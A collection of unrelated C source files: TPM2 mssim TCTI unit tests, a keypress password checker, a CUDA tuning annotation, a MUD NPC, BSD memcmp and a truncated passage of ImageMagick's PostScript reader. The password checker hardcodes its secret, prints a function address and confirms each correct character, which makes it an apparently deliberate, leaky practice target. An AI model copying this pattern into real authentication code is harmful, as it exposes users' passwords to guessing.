mssim_kv_callback, &mssim_conf); assert_int_equal (rc, TSS2_RC_SUCCESS); assert_int_equal (mssim_conf.port, NO_PORT_VALUE); assert_string_equal (mssim_conf.host, "::1"); } /* * The 'conf_str_to_host_port' function rejects ports over UINT16_MAX. */ static void conf_str_to_host_port_invalid_port_large_test (void **state) { TSS2_RC rc; char conf[] = "host=127.0.0.1,port=99999"; mssim_conf_t mssim_conf = { 0 }; rc = parse_key_value_string (conf, mssim_kv_callback, &mssim_conf); assert_int_equal (rc, TSS2_TCTI_RC_BAD_VALUE); } /* The 'conf_str_to_host_port' function rejects URIs with port == 0 */ static void conf_str_to_host_port_invalid_port_0_test (void **state) { TSS2_RC rc; char conf[] = "host=127.0.0.1,port=0"; mssim_conf_t mssim_conf = { 0 }; rc = parse_key_value_string (conf, mssim_kv_callback, &mssim_conf); assert_int_equal (rc, TSS2_TCTI_RC_BAD_VALUE); } /* When passed all NULL values ensure that we get back the expected RC. */ static void tcti_socket_init_all_null_test (void **state) { TSS2_RC rc; rc = Tss2_Tcti_Mssim_Init (NULL, NULL, NULL); assert_int_equal (rc, TSS2_TCTI_RC_BAD_VALUE); } /* * Determine the size of a TCTI context structure. Requires calling the * initialization function for the device TCTI with the first parameter * (the TCTI context) NULL. */ static void tcti_socket_init_size_test (void **state) { size_t tcti_size = 0; TSS2_RC ret = TSS2_RC_SUCCESS; ret = Tss2_Tcti_Mssim_Init (NULL, &tcti_size, NULL); assert_int_equal (ret, TSS2_RC_SUCCESS); assert_int_equal (tcti_size, sizeof (TSS2_TCTI_MSSIM_CONTEXT)); } /* * Wrap the 'connect' system call. The mock queue for this function must have * an integer to return as a response. */ int __wrap_connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen) { return mock_type (int); } /* * Wrap the 'recv' system call. The mock queue for this function must have an * integer return value (the number of byts recv'd), as well as a pointer to * a buffer to copy data from to return to the caller. */ ssize_t __wrap_read (int sockfd, void *buf, size_t len) { ssize_t ret = mock_type (ssize_t); uint8_t *buf_in = mock_ptr_type (uint8_t*); memcpy (buf, buf_in, ret); return ret; } /* * Wrap the 'send' system call. The mock queue for this function must have an * integer to return as a response. */ ssize_t __wrap_write (int sockfd, const void *buf, size_t len) { return mock_type (TSS2_RC); } /* * This is a utility function used by other tests to setup a TCTI context. It * effectively wraps the init / allocate / init pattern as well as priming the * mock functions necessary for a the successful call to * 'Tss2_Tcti_Mssim_Init'. */ static TSS2_TCTI_CONTEXT* tcti_socket_init_from_conf (const char *conf) { size_t tcti_size = 0; uint8_t recv_buf[4] = { 0 }; TSS2_RC ret = TSS2_RC_SUCCESS; TSS2_TCTI_CONTEXT *ctx = NULL; printf ("%s: before first init\n", __func__); ret = Tss2_Tcti_Mssim_Init (NULL, &tcti_size, NULL); assert_true (ret == TSS2_RC_SUCCESS); ctx = calloc (1, tcti_size); assert_non_null (ctx); /* * two calls to connect, one for the data socket, one for the command * socket */ will_return (__wrap_connect, 0); will_return (__wrap_connect, 0); /* * two 'platform commands are sent on initialization, 4 bytes sent for * each, 4 byte response received (all 0's) for each. */ will_return (__wrap_write, 4); will_return (__wrap_read, 4); will_return (__wrap_read, recv_buf); will_return (__wrap_write, 4); will_return (__wrap_read, 4); will_return (__wrap_read, recv_buf); printf ("%s: before second_init\n", __func__); ret = Tss2_Tcti_Mssim_Init (ctx, &tcti_size, conf); printf ("%s: after second init\n", __func__); assert_int_equal (ret, TSS2_RC_SUCCESS); return ctx; } /* * This is a utility function to setup the "default" TCTI context. */ static int tcti_socket_setup (void **state) { printf ("%s: before tcti_socket_init_from_conf\n", __func__); *state = tcti_socket_init_from_conf ("host=127.0.0.1,port=666"); printf ("%s: done\n", __func__); return 0; } static void tcti_socket_init_null_conf_test (void **state) { TSS2_TCTI_CONTEXT *ctx = tcti_socket_init_from_conf (NULL); assert_non_null (ctx); free (ctx); } /* * This is a utility function to teardown a TCTI context allocated by the * tcti_socket_setup function. */ static int tcti_socket_teardown (void **state) { TSS2_TCTI_CONTEXT *ctx = (TSS2_TCTI_CONTEXT*)*state; Tss2_Tcti_Finalize (ctx); free (ctx); return 0; } /* * This test ensures that the GetPollHandles function in the device TCTI * returns the expected value. Since this TCTI does not support async I/O * on account of limitations in the kernel it just returns the * NOT_IMPLEMENTED response code. */ static void tcti_mssim_get_poll_handles_test (void **state) { TSS2_TCTI_CONTEXT *ctx = (TSS2_TCTI_CONTEXT*)*state; size_t num_handles = 5; TSS2_TCTI_POLL_HANDLE handles [5] = { 0 }; TSS2_RC rc; rc = Tss2_Tcti_GetPollHandles (ctx, handles, &num_handles); assert_int_equal (rc, TSS2_TCTI_RC_NOT_IMPLEMENTED); } /* */ static void tcti_socket_receive_null_size_test (void **state) { TSS2_TCTI_CONTEXT *ctx = (TSS2_TCTI_CONTEXT*)*state; TSS2_TCTI_COMMON_CONTEXT *tcti_common = tcti_common_context_cast (ctx); TSS2_RC rc; /* Keep state machine check in `receive` from returning error. */ tcti_common->state = TCTI_STATE_RECEIVE; rc = Tss2_Tcti_Receive (ctx, NULL, /* NULL 'size' parameter */ NULL, TSS2_TCTI_TIMEOUT_BLOCK); assert_int_equal (rc, TSS2_TCTI_RC_BAD_REFERENCE); rc = Tss2_Tcti_Receive (ctx, NULL, /* NULL 'size' parameter */ (uint8_t*)1, /* non-NULL buffer */ TSS2_TCTI_TIMEOUT_BLOCK); assert_int_equal (rc, TSS2_TCTI_RC_BAD_REFERENCE); } /* * This test exercises the successful code path through the receive function. */ static void tcti_socket_receive_success_test (void **state) { TSS2_TCTI_CONTEXT *ctx = (TSS2_TCTI_CONTEXT*)*state; TSS2_TCTI_COMMON_CONTEXT *tcti_common = tcti_common_context_cast (ctx); TSS2_RC rc = TSS2_RC_SUCCESS; size_t response_size = 0xc; uint8_t response_in [] = { 0x80, 0x02, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, /* simulator appends 4 bytes of 0's to every response */ 0x00, 0x00, 0x00, 0x00 }; uint8_t response_out [12] = { 0 }; /* Keep state machine check in `receive` from returning error. */ tcti_common->state = TCTI_STATE_RECEIVE; /* receive response size */ will_return (__wrap_read, 4); will_return (__wrap_read, &response_in [2]); /* receive tag */ will_return (__wrap_read, 2); will_return (__wrap_read, response_in); /* receive size (again) */ will_return (__wrap_read, 4); will_return (__wrap_read, &response_in [2]); /* receive the rest of the command */ will_return (__wrap_read, 0xc - sizeof (TPM2_ST) - sizeof (UINT32)); will_return (__wrap_read, &response_in [6]); /* receive the 4 bytes of 0's appended by the simulator */ will_return (__wrap_read, 4); will_return (__wrap_read, &response_in [12]); rc = Tss2_Tcti_Receive (ctx, &response_size, response_out, TSS2_TCTI_TIMEOUT_BLOCK); assert_int_equal (rc, TSS2_RC_SUCCESS); assert_memory_equal (response_in, response_out, response_size); } /* */ static void tcti_socket_receive_size_success_test (void **state) { TSS2_TCTI_CONTEXT *ctx = (TSS2_TCTI_CONTEXT*)*state; TSS2_TCTI_COMMON_CONTEXT *tcti_common = tcti_common_context_cast (ctx); TSS2_RC rc = TSS2_RC_SUCCESS; size_t response_size = 0; uint8_t response_in [] = { 0x80, 0x02, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, /* simulator appends 4 bytes of 0's to every response */ 0x00, 0x00, 0x00, 0x00 }; uint8_t response_out [12] = { 0 }; /* Keep state machine check in `receive` from returning error. */ tcti_common->state = TCTI_STATE_RECEIVE; /* receive response size */ will_return (__wrap_read, 4); will_return (__wrap_read, &response_in [2]); rc = Tss2_Tcti_Receive (ctx, &response_size, NULL, TSS2_TCTI_TIMEOUT_BLOCK); assert_int_equal (rc, TSS2_RC_SUCCESS); assert_int_equal (response_size, 0xc); /* receive tag */ will_return (__wrap_read, 2); will_return (__wrap_read, response_in); /* receive size (again) */ will_return (__wrap_read, 4); will_return (__wrap_read, &response_in [2]); /* receive the rest of the command */ will_return (__wrap_read, 0xc - sizeof (TPM2_ST) - sizeof (UINT32)); will_return (__wrap_read, &response_in [6]); /* receive the 4 bytes of 0's appended by the simulator */ will_return (__wrap_read, 4); will_return (__wrap_read, &response_in [12]); rc = Tss2_Tcti_Receive (ctx, &response_size, response_out, TSS2_TCTI_TIMEOUT_BLOCK); assert_int_equal (rc, TSS2_RC_SUCCESS); assert_memory_equal (response_in, response_out, response_size); } /* * This test causes the underlying 'read' call to return 0 / EOF when we * call the TCTI 'receive' function. In this case the TCTI should return an * IO error. */ static void tcti_mssim_receive_eof_first_read_test (void **state) { TSS2_TCTI_CONTEXT *ctx = (TSS2_TCTI_CONTEXT*)*state; TSS2_TCTI_COMMON_CONTEXT *tcti_common = tcti_common_context_cast (ctx); TSS2_RC rc; /* output buffer for response */ uint8_t buf [TPM_HEADER_SIZE] = { 0 }; size_t size = sizeof (buf); /* Keep state machine check in `receive` from returning error. */ tcti_common->state = TCTI_STATE_RECEIVE; will_return (__wrap_read, 0); will_return (__wrap_read, buf); rc = Tss2_Tcti_Receive (ctx, &size, buf, TSS2_TCTI_TIMEOUT_BLOCK); assert_true (rc == TSS2_TCTI_RC_IO_ERROR); } /* * This test causes the underlying 'read' call to return EOF but only after * a successful read that gets us the response size. This results in the * an IO_ERROR RC being returned. */ static void tcti_mssim_receive_eof_second_read_test (void **state) { TSS2_TCTI_CONTEXT *ctx = (TSS2_TCTI_CONTEXT*)*state; TSS2_TCTI_COMMON_CONTEXT *tcti_common = tcti_common_context_cast (ctx); TSS2_RC rc; /* input response buffer */ uint8_t response_in [] = { 0x80, 0x02, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, /* simulator appends 4 bytes of 0's to every response */ 0x00, 0x00, 0x00, 0x00 }; /* output response buffer */ uint8_t response_out [12] = { 0 }; size_t size = sizeof (response_out); /* Keep state machine check in `receive` from returning error. */ tcti_common->state = TCTI_STATE_RECEIVE; /* setup response size for first read */ will_return (__wrap_read, 4); will_return (__wrap_read, &response_in [2]); /* setup 0 for EOF on second read */ will_return (__wrap_read, 0); will_return (__wrap_read, response_in); rc = Tss2_Tcti_Receive (ctx, &size, response_out, TSS2_TCTI_TIMEOUT_BLOCK); assert_true (rc == TSS2_TCTI_RC_IO_ERROR); } /* * This test exercises the successful code path through the transmit function. */ static void tcti_socket_transmit_success_test (void **state) { TSS2_TCTI_CONTEXT *ctx = (TSS2_TCTI_CONTEXT*)*state; TSS2_RC rc = TSS2_RC_SUCCESS; uint8_t command [] = { 0x80, 0x02, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02 }; size_t command_size = sizeof (command); /* send the TPM2_SEND_COMMAND code */ will_return (__wrap_write, 4); /* send the locality for the command */ will_return (__wrap_write, 1); /* send the number of bytes in command */ will_return (__wrap_write, 4); /* send the command buffer */ will_return (__wrap_write, 0xc); rc = Tss2_Tcti_Transmit (ctx, command_size, command); assert_int_equal (rc, TSS2_RC_SUCCESS); } int main (int argc, char *argv[]) { const struct CMUnitTest tests[] = { cmocka_unit_test (conf_str_to_host_port_success_test), cmocka_unit_test (conf_str_to_host_port_no_port_test), cmocka_unit_test (conf_str_to_host_ipv6_port_success_test), cmocka_unit_test (conf_str_to_host_ipv6_port_no_port_test), cmocka_unit_test (conf_str_to_host_port_invalid_port_large_test), cmocka_unit_test (conf_str_to_host_port_invalid_port_0_test), cmocka_unit_test (tcti_socket_init_all_null_test), cmocka_unit_test (tcti_socket_init_size_test), cmocka_unit_test (tcti_socket_init_null_conf_test), cmocka_unit_test_setup_teardown (tcti_mssim_get_poll_handles_test, tcti_socket_setup, tcti_socket_teardown), cmocka_unit_test_setup_teardown (tcti_socket_receive_null_size_test, tcti_socket_setup, tcti_socket_teardown), cmocka_unit_test_setup_teardown (tcti_socket_receive_success_test, tcti_socket_setup, tcti_socket_teardown), cmocka_unit_test_setup_teardown (tcti_socket_receive_size_success_test, tcti_socket_setup, tcti_socket_teardown), cmocka_unit_test_setup_teardown (tcti_mssim_receive_eof_first_read_test, tcti_socket_setup, tcti_socket_teardown), cmocka_unit_test_setup_teardown (tcti_mssim_receive_eof_second_read_test, tcti_socket_setup, tcti_socket_teardown), cmocka_unit_test_setup_teardown (tcti_socket_transmit_success_test, tcti_socket_setup, tcti_socket_teardown) }; return cmocka_run_group_tests (tests, NULL, NULL); }
719143.c
#include <stdlib.h> #include<stdio.h> char password[] = "verysecret"; int counter = 0; const int max = 10; int any_fail = 0; int is_correct(const char c) { if(counter >= 10){ return 0; } if(password[counter] == c) { counter++; return 1; } any_fail++; counter++; return 0; } int main() { char c; printf ("is_correct() at %p\n", is_correct); printf("Please, BE CAREFUL with ctrl-c as it will not return back your terminal (issue a stty cooked)\r\n"); printf("Press keys to test the password: exit with Q.\r\n\r\n"); /* Terminal to raw */ system("stty raw"); while(1) { c = getchar(); if(c == 'Q') { printf("\r\n"); /* Terminal to cooked */ system("stty cooked"); return 0; } printf("Key [%c] was pressed.\n\r", c); if(is_correct(c) == 1){ printf("CORRECT!\r\n"); } else{ printf("WRONG!\r\n"); } if(counter >= 10) { if(any_fail == 0) { printf("YOU WIN! PERFECT!\n\r\n\r"); return 0; } printf("YOU FAIL! So sorry...\n\r\n\r"); system("stty cooked"); return 1; } } system("stty cooked"); return 0; }
290592.c
/**************** m_matvec.c (in su3.a) ******************************* * * * matrix vector multiply * * y[i] <- A[i]*x[i] * */ void mult_su3_mat_vec(double A[], double x[], double y[], int sites_on_node) { register int i,j,k; register double ar,ai,br,bi,cr,ci; /*@ PerfTuning ( def performance_params { param TC[] = range(32,1025,32); param BC[] = range(14,113,14); param UIF[] = range(1,6); param PL[] = [16,48]; param CFLAGS[] = map(join, product(['-O0', '-O1', '-O2', '-O3'])); } def input_params { param SITES[] = [2,4,6,8,10,12,14,16]; } def input_vars { decl dynamic double A[18*SITES] = random; decl dynamic double x[6*SITES] = random; decl dynamic double y[6*SITES] = 0; } ) @*/ int sites_on_node = SITES; #pragma Orio Loop(transform CUDA(threadCount=TC, blockCount=BC, preferL1Size=PL, unrollInner=UIF)) for(i=0; i<=sites_on_node-1; i++) { for(j=0; j<=5; j+=2) { cr = ci = 0.0; for(k=0; k<=5; k+=2) { ar=A[18*i+3*j+k]; ai=A[18*i+3*j+k+1]; br=x[6*i+k]; bi=x[6*i+k+1]; cr += ar*br - ai*bi; ci += ar*bi + ai*br; } y[6*i+j] =cr; y[6*i+j+1]=ci; } } #pragma Oiro /*@ @*/ }
770889.c
inherit NPC; void create() { set_name("康府家丁", ({ "jia ding", "jia", "ding" }) ); set("gender", "男性" ); set("age", 22); set("long", "一個在康親王府裏幹下等活的家丁。\n"); set("shen_type", 1); set("combat_exp", 2000); set("str", 10); set("dex", 10); set("con", 10); set("int", 10); set("attitude", "peaceful"); set_skill("dodge",20); set_skill("unarmed",20); set("chat_chance", 1); setup(); carry_object("/d/beijing/npc/obj/cloth")->wear(); add_money("silver", 1); }
559311.c
/*- * Copyright (c) 1990, 1993 * The Regents of the University of California. All rights reserved. * * This code is derived from software contributed to Berkeley by * Chris Torek. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <sys/cdefs.h> #include <string.h> /* * Compare memory regions. */ int memcmp(s1, s2, n) const void *s1, *s2; size_t n; { if (n != 0) { const unsigned char *p1 = s1, *p2 = s2; do { if (*p1++ != *p2++) return (*--p1 - *--p2); } while (--n != 0); } return (0); }
488028.c
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % PPPP SSSSS % % P P SS % % PPPP SSS % % P SS % % P SSSSS % % % % % % Read/Write Postscript Format % % % % Software Design % % Cristy % % July 1992 % % % % % % Copyright 1999-2021 ImageMagick Studio LLC, a non-profit organization % % dedicated to making software imaging solutions freely available. % % % % You may not use this file except in compliance with the License. You may % % obtain a copy of the License at % % % % https://imagemagick.org/script/license.php % % % % Unless required by applicable law or agreed to in writing, software % % distributed under the License is distributed on an "AS IS" BASIS, % % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % % See the License for the specific language governing permissions and % % limitations under the License. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "magick/studio.h" #include "magick/artifact.h" #include "magick/attribute.h" #include "magick/blob.h" #include "magick/blob-private.h" #include "magick/cache.h" #include "magick/color.h" #include "magick/color-private.h" #include "magick/colorspace.h" #include "magick/colorspace-private.h" #include "magick/constitute.h" #include "magick/delegate.h" #include "magick/delegate-private.h" #include "magick/draw.h" #include "magick/exception.h" #include "magick/exception-private.h" #include "magick/geometry.h" #include "magick/image.h" #include "magick/image-private.h" #include "magick/list.h" #include "magick/magick.h" #include "magick/memory_.h" #include "magick/module.h" #include "magick/monitor.h" #include "magick/monitor-private.h" #include "magick/nt-base-private.h" #include "magick/option.h" #include "magick/profile.h" #include "magick/pixel-accessor.h" #include "magick/pixel-private.h" #include "magick/property.h" #include "magick/quantum-private.h" #include "magick/resource_.h" #include "magick/static.h" #include "magick/string_.h" #include "magick/string-private.h" #include "magick/timer-private.h" #include "magick/token.h" #include "magick/transform.h" #include "magick/utility.h" #include "coders/bytebuffer-private.h" #include "coders/ghostscript-private.h" /* Typedef declaractions. */ typedef struct _PSInfo { MagickBooleanType cmyk; SegmentInfo bounds; unsigned long columns, rows; StringInfo *icc_profile, *photoshop_profile, *xmp_profile; } PSInfo; /* Forward declarations. */ static MagickBooleanType WritePSImage(const ImageInfo *,Image *); /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % I s P S % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % IsPS() returns MagickTrue if the image format type, identified by the % magick string, is PS. % % The format of the IsPS method is: % % MagickBooleanType IsPS(const unsigned char *magick,const size_t length) % % A description of each parameter follows: % % o magick: compare image format pattern against these bytes. % % o length: Specifies the length of the magick string. % */ static MagickBooleanType IsPS(const unsigned char *magick,const size_t length) { if (length < 4) return(MagickFalse); if (memcmp(magick,"%!",2) == 0) return(MagickTrue); if (memcmp(magick,"\004%!",3) == 0) return(MagickTrue); return(MagickFalse); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d P S I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % ReadPSImage() reads a Postscript image file and returns it. It allocates % the memory necessary for the new Image structure and returns a pointer % to the new image. % % The format of the ReadPSImage method is: % % Image *ReadPSImage(const ImageInfo *image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image_info: the image info. % % o exception: return any errors or warnings in this structure. % */ static inline int ProfileInteger(MagickByteBuffer *buffer,short int *hex_digits) { int c, l, value; ssize_t i; l=0; value=0; for (i=0; i < 2; ) { c=ReadMagickByteBuffer(buffer); if ((c == EOF) || ((c == '%') && (l == '%'))) { value=(-1); break; } l=c; c&=0xff; if (isxdigit(c) == MagickFalse) continue; value=(int) ((size_t) value << 4)+hex_digits[c]; i++; } return(value); } static void ReadPSInfo(const ImageInfo *image_info,Image *image, PSInfo *ps_info) { #define BeginDocument "BeginDocument:" #define EndDocument "EndDocument:" #define PostscriptLevel "PS-" #define ImageData "ImageData:" #define DocumentProcessColors "DocumentProcessColors:" #define CMYKCustomColor "CMYKCustomColor:" #define CMYKProcessColor "CMYKProcessColor:" #define DocumentCustomColors "DocumentCustomColors:" #define SpotColor "+ " #define BoundingBox "BoundingBox:" #define DocumentMedia "DocumentMedia:" #define HiResBoundingBox "HiResBoundingBox:" #define PageBoundingBox "PageBoundingBox:" #define PageMedia "PageMedia:" #define ICCProfile "BeginICCProfile:" #define PhotoshopProfile "BeginPhotoshop:" char version[MagickPathExtent]; int c; MagickBooleanType new_line, skip, spot_color; MagickByteBuffer buffer; char *p; ssize_t i; SegmentInfo bounds; size_t length; ssize_t count, priority; short int hex_digits[256]; unsigned long spotcolor; (void) memset(&bounds,0,sizeof(bounds)); (void) memset(ps_info,0,sizeof(*ps_info)); ps_info->cmyk=image_info->colorspace == CMYKColorspace ? MagickTrue : MagickFalse; /* Initialize hex values. */ (void) memset(hex_digits,0,sizeof(hex_digits)); hex_digits[(int) '0']=0; hex_digits[(int) '1']=1; hex_digits[(int) '2']=2; hex_digits[(int) '3']=3; hex_digits[(int) '4']=4; hex_digits[(int) '5']=5; hex_digits[(int) '6']=6; hex_digits[(int) '7']=7; hex_digits[(int) '8']=8; hex_digits[(int) '9']=9; hex_digits[(int) 'a']=10; hex_digits[(int) 'b']=11; hex_digits[(int) 'c']=12; hex_digits[(int) 'd']=13; hex_digits[(int) 'e']=14; hex_digits[(int) 'f']=15; hex_digits[(int) 'A']=10; hex_digits[(int) 'B']=11; hex_digits[(int) 'C']=12; hex_digits[(int) 'D']=13; hex_digits[(int) 'E']=14; hex_digits[(int) 'F']=15; priority=0; *version='\0'; spotcolor=0; skip=MagickFalse; new_line=MagickTrue; (void) memset(&buffer,0,sizeof(buffer)); buffer.image=image; for (c=ReadMagickByteBuffer(&buffer); c != EOF; c=ReadMagickByteBuffer(&buffer)) { switch(c) { case '<': { ReadGhostScriptXMPProfile(&buffer,&ps_info->xmp_profile); continue; } case '\n': case '\r': new_line=MagickTrue; continue; case '%': { if (new_line == MagickFalse) continue; new_line=MagickFalse; c=ReadMagickByteBuffer(&buffer); if ((c == '%') || (c == '!')) break; if (c == 'B') { buffer.offset--; break; } continue; } default: continue; } /* Skip %%BeginDocument thru %%EndDocument. */ if (CompareMagickByteBuffer(&buffer,BeginDocument,strlen(BeginDocument)) != MagickFalse) skip=MagickTrue; if (CompareMagickByteBuffer(&buffer,EndDocument,strlen(EndDocument)) != MagickFalse) skip=MagickFalse; if (skip != MagickFalse) continue; if ((*version == '\0') && (CompareMagickByteBuffer(&buffer,PostscriptLevel,strlen(PostscriptLevel)) != MagickFalse)) { i=0; for (c=ReadMagickByteBuffer(&buffer); c != EOF; c=ReadMagickByteBuffer(&buffer)) { if ((c == '\r') || (c == '\n') || ((i+1) == sizeof(version))) break; version[i++]=(char) c; } version[i]='\0'; } if (CompareMagickByteBuffer(&buffer,ImageData,strlen(ImageData)) != MagickFalse) { p=GetMagickByteBufferDatum(&buffer); (void) sscanf(p,ImageData " %lu %lu",&ps_info->columns,&ps_info->rows); } /* Is this a CMYK document? */ length=strlen(DocumentProcessColors); if (CompareMagickByteBuffer(&buffer,DocumentProcessColors,length) != MagickFalse) { p=GetMagickByteBufferDatum(&buffer); if ((StringLocateSubstring(p,"Cyan") != (char *) NULL) || (StringLocateSubstring(p,"Magenta") != (char *) NULL) || (StringLocateSubstring(p,"Yellow") != (char *) NULL)) ps_info->cmyk=MagickTrue; } if (CompareMagickByteBuffer(&buffer,CMYKCustomColor,strlen(CMYKCustomColor)) != MagickFalse) ps_info->cmyk=MagickTrue; if (CompareMagickByteBuffer(&buffer,CMYKProcessColor,strlen(CMYKProcessColor)) != MagickFalse) ps_info->cmyk=MagickTrue; spot_color=MagickFalse; length=strlen(DocumentCustomColors); if (CompareMagickByteBuffer(&buffer,DocumentCustomColors,length) != MagickFalse) { spot_color=MagickTrue; SkipMagickByteBuffer(&buffer,length+1); } if (spot_color == MagickFalse) { length=strlen(CMYKCustomColor); if (CompareMagickByteBuffer(&buffer,CMYKCustomColor,length) != MagickFalse) { spot_color=MagickTrue; SkipMagickByteBuffer(&buffer,length+1); } } if (spot_color == MagickFalse) { length=strlen(SpotColor); if (CompareMagickByteBuffer(&buffer,SpotColor,length) != MagickFalse) { spot_color=MagickTrue; SkipMagickByteBuffer(&buffer,length+1); } } if (spot_color != MagickFalse) { char name[MagickPathExtent], property[MagickPathExtent], *value; /* Note spot names. */ (void) FormatLocaleString(property,MagickPathExtent, "pdf:SpotColor-%.20g",(double) spotcolor++); i=0; for (c=PeekMagickByteBuffer(&buffer); c != EOF; c=PeekMagickByteBuffer(&buffer)) { if ((c == '\r') || (c == '\n') || ((i+1) == MagickPathExtent)) break; name[i++]=(char) ReadMagickByteBuffer(&buffer); } name[i]='\0'; value=ConstantString(name); (void) StripString(value); if (*value != '\0') (void) SetImageProperty(image,property,value); value=DestroyString(value); continue; } if ((ps_info->icc_profile == (StringInfo *) NULL) && (CompareMagickByteBuffer(&buffer,ICCProfile,strlen(ICCProfile)) != MagickFalse)) { unsigned char *datum; /* Read ICC profile. */ if (SkipMagickByteBufferUntilNewline(&buffer) != MagickFalse) { ps_info->icc_profile=AcquireStringInfo(MagickPathExtent); datum=GetStringInfoDatum(ps_info->icc_profile); for (i=0; (c=ProfileInteger(&buffer,hex_digits)) != EOF; i++) { if (i >= (ssize_t) GetStringInfoLength(ps_info->icc_profile)) { SetStringInfoLength(ps_info->icc_profile,(size_t) i << 1); datum=GetStringInfoDatum(ps_info->icc_profile); } datum[i]=(unsigned char) c; } SetStringInfoLength(ps_info->icc_profile,(size_t) i+1); } continue; } if ((ps_info->photoshop_profile == (StringInfo *) NULL) && (CompareMagickByteBuffer(&buffer,PhotoshopProfile,strlen(PhotoshopProfile)) != MagickFalse)) { unsigned long extent; unsigned char *q; /* Read Photoshop profile. */ p=GetMagickByteBufferDatum(&buffer); extent=0; count=(ssize_t) sscanf(p,PhotoshopProfile " %lu",&extent); if ((count != 1) || (extent == 0)) continue; if ((MagickSizeType) extent > GetBlobSize(image)) continue; length=(size_t) extent; if (SkipMagickByteBufferUntilNewline(&buffer) != MagickFalse) { ps_info->photoshop_profile=AcquireStringInfo(length+1U); q=GetStringInfoDatum(ps_info->photoshop_profile); while (extent > 0) { c=ProfileInteger(&buffer,hex_digits); if (c == EOF) break; *q++=(unsigned char) c; extent-=MagickMin(extent,1); } SetStringInfoLength(ps_info->photoshop_profile,length); continue; } } if (image_info->page != (char *) NULL) continue; /* Note region defined by bounding box. */ count=0; i=0; if (CompareMagickByteBuffer(&buffer,BoundingBox,strlen(BoundingBox)) != MagickFalse) { p=GetMagickByteBufferDatum(&buffer); count=(ssize_t) sscanf(p,BoundingBox " %lf %lf %lf %lf", &bounds.x1,&bounds.y1,&bounds.x2,&bounds.y2); i=2; } if (CompareMagickByteBuffer(&buffer,DocumentMedia,strlen(DocumentMedia)) != MagickFalse) { p=GetMagickByteBufferDatum(&buffer); count=(ssize_t) sscanf(p,DocumentMedia " %lf %lf %lf %lf", &bounds.x1,&bounds.y1,&bounds.x2,&bounds.y2); i=1; } if (CompareMagickByteBuffer(&buffer,HiResBoundingBox,strlen(HiResBoundingBox)) != MagickFalse) { p=GetMagickByteBufferDatum(&buffer); count=(ssize_t) sscanf(p,HiResBoundingBox " %lf %lf %lf %lf", &bounds.x1,&bounds.y1,&bounds.x2,&bounds.y2); i=3; } if (CompareMagickByteBuffer(&buffer,PageBoundingBox,strlen(PageBoundingBox)) != MagickFalse) { p=GetMagickByteBufferDatum(&buffer); count=(ssize_t) sscanf(p,PageBoundingBox " %lf %lf %lf %lf", &bounds.x1,&bounds.y1,&bounds.x2,&bounds.y2); i=1; } if (CompareMagickByteBuffer(&buffer,PageMedia,strlen(PageMedia)) != MagickFalse) { p=GetMagickByteBufferDatum(&buffer); count=(ssize_t) sscanf(p,PageMedia " %lf %lf %lf %lf", &bounds.x1,&bounds.y1,&bounds.x2,&bounds.y2); i=1; } if ((count != 4) || (i < (ssize_t) priority)) continue; if ((fabs(bounds.x2-bounds.x1) <= fabs(ps_info->bounds.x2-ps_info->bounds.x1)) || (fabs(bounds.y2-bounds.y1) <= fabs(ps_info->bounds.y2-ps_info->bounds.y1))) if (i == (ssize_t) priority) continue; ps_info->bounds=bounds; priority=i; } if (version[0] != '\0') (void) SetImageProperty(image,"ps:Level",version); } static inline void CleanupPSInfo(PSInfo *pdf_info) { if (pdf_info->icc_profile != (StringInfo *) NULL) pdf_info->icc_profile=DestroyStringInfo(pdf_info->icc_profile); if (pdf_info->photoshop_profile != (StringInfo *) NULL) 